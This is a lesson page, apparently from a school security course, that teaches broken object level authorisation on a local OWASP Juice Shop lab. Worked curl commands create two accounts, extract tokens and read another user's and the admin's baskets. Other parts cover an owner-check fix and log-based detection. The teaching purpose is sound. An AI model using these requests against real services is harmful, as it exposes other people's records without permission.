Your basket, by number
Broken object level authorisation, BOLA, is when an API returns an object without checking it belongs to the caller. It is first on the OWASP list because it is common and easy to miss.
Your shopping basket is basket 7. The app asks for /rest/basket/7. What happens if you ask for basket 6?
The one rule
Warning
Read other baskets only in your own lab copy, between accounts you made. On a real service, opening somebody else's record without permission is unauthorised access. In the UK that is a crime under the Computer Misuse Act 1990, whatever the reason.
Quick check: the rule
Have a go
Quick check: the rule
3 questionsBy the end of this lesson
Note
I can show that an API returns another user's object and write the check that stops it.
Key words
| Word | What it means | Example |
|---|---|---|
| BOLA | returning an object without checking its owner | |
| Object id | the number that picks one object | /rest/basket/7 |
| Owner | the account an object belongs to | |
| IDOR | an older name for the same flaw | |
| Access log | the server's line for every request |
The cells students fill in are left blank in this preview.
Starter
Have a go
Starter
4 questionsTwo customers of your own
To test BOLA honestly you need two accounts you control, so the object you open is still yours to open. Make ben and cy and sign each in.
Each sign-in reply carries a token and a basket id, "bid". The Runs read both out of the reply files, so you never type a number.
Make the first customer
curl -s -H "Content-Type: application/json" -d '{"email":"[email protected]","password":"Ben_12345","passwordRepeat":"Ben_12345"}' http://juice-shop:3000/api/UsersShown here, not run. Press Start lab to type it into your own lab’s terminal.
Make the second customer
curl -s -H "Content-Type: application/json" -d '{"email":"[email protected]","password":"Cy_123456","passwordRepeat":"Cy_123456"}' http://juice-shop:3000/api/UsersShown here, not run. Press Start lab to type it into your own lab’s terminal.
Sign ben in
curl -s -H "Content-Type: application/json" -d '{"email":"[email protected]","password":"Ben_12345"}' -o ben.json http://juice-shop:3000/rest/user/loginShown here, not run. Press Start lab to type it into your own lab’s terminal.
Sign cy in
curl -s -H "Content-Type: application/json" -d '{"email":"[email protected]","password":"Cy_123456"}' -o cy.json http://juice-shop:3000/rest/user/loginShown here, not run. Press Start lab to type it into your own lab’s terminal.
Read both basket ids
grep -o '"bid":[0-9]*' ben.json cy.jsonShown here, not run. Press Start lab to type it into your own lab’s terminal.
Check
Have a go
Check
3 questionsAsk for a basket that is not yours
First ben reads his own basket: the reply's UserId is ben's id. Then ben asks for basket 1, which the shop made for its admin, and for cy's basket.
If the API checked the owner, ben would get 403 for both. Watch the UserId in each reply instead.
Ben reads his own basket
curl -s -H "Authorization: Bearer $(grep -o 'eyJ[^"]*' ben.json)" http://juice-shop:3000/rest/basket/$(grep -o '"bid":[0-9]*' ben.json | cut -d: -f2) | grep -o '"UserId":[0-9]*'Shown here, not run. Press Start lab to type it into your own lab’s terminal.
Ben reads basket 1
curl -s -H "Authorization: Bearer $(grep -o 'eyJ[^"]*' ben.json)" http://juice-shop:3000/rest/basket/1 | grep -o -E '"UserId":[0-9]*|"name":"[^"]*"'Shown here, not run. Press Start lab to type it into your own lab’s terminal.
Ben reads cy's basket
curl -s -o /dev/null -w "%{http_code}\n" -H "Authorization: Bearer $(grep -o 'eyJ[^"]*' ben.json)" http://juice-shop:3000/rest/basket/$(grep -o '"bid":[0-9]*' cy.json | cut -d: -f2)Shown here, not run. Press Start lab to type it into your own lab’s terminal.
Check
Have a go
Check
3 questionsA common mistake
Warning
Many people think long random ids, such as UUIDs, fix BOLA. They only make ids harder to guess. Ids leak through links, logs and other endpoints, as the account list did. Check the owner on every request, whatever the id looks like.
The fix is one comparison, everywhere
The handler finds who is calling from the token, loads the object, and compares the object's owner with the caller. If they differ and no role allows it, it answers 403, or 404 to hide that the object exists.
Put the check in one place every object endpoint uses, such as a query that always adds WHERE owner = caller.
Try it: an owner check
baskets = {1: 1, 6: 21, 7: 22} # basket id: owner's user id
def read_basket(user_id, basket_id):
owner = baskets.get(basket_id)
if owner is None:
return 404
if owner != user_id:
return 403
return 200
print(read_basket(21, 6), read_basket(21, 1), read_basket(21, 9))
# Change read_basket(21, 1) to read_basket(1, 1). What does the owner get?
Make a free account to save your work and track your progress.
Look for it in the log
Detection needs the account in every log line. The shop's log has the address, the method and the path, but no account, so it cannot say whose basket was read by whom.
A good log line names the caller and the object's owner. Then one account touching many objects it does not own stands out.
What the shop's log knows about baskets
curl -s http://juice-shop:3000/support/logs/access.log.$(date +%F) | grep -o '"GET /rest/basket/[0-9]* ' | sort | uniq -cShown here, not run. Press Start lab to type it into your own lab’s terminal.
Assignment: spot BOLA in a log
A better log than the shop's: each entry is a dictionary such as {"user": 21, "path": "/rest/basket/7"}. owners maps a basket id to its owner's user id. Write three functions.
object_id(path) returns the basket id at the end of a path /rest/basket/<id> as a whole number, or None for any other path. foreign_reads(log, owners) returns a list of (user, basket) pairs, in log order, for every basket read by somebody who is not its owner (a basket missing from owners counts as foreign). suspects(log, owners, threshold) returns the sorted list of users who read at least threshold different foreign baskets.
def object_id(path):
return None
def foreign_reads(log, owners):
return []
def suspects(log, owners, threshold):
return []
Make a free account to save your work and track your progress.
Exit quiz
Have a go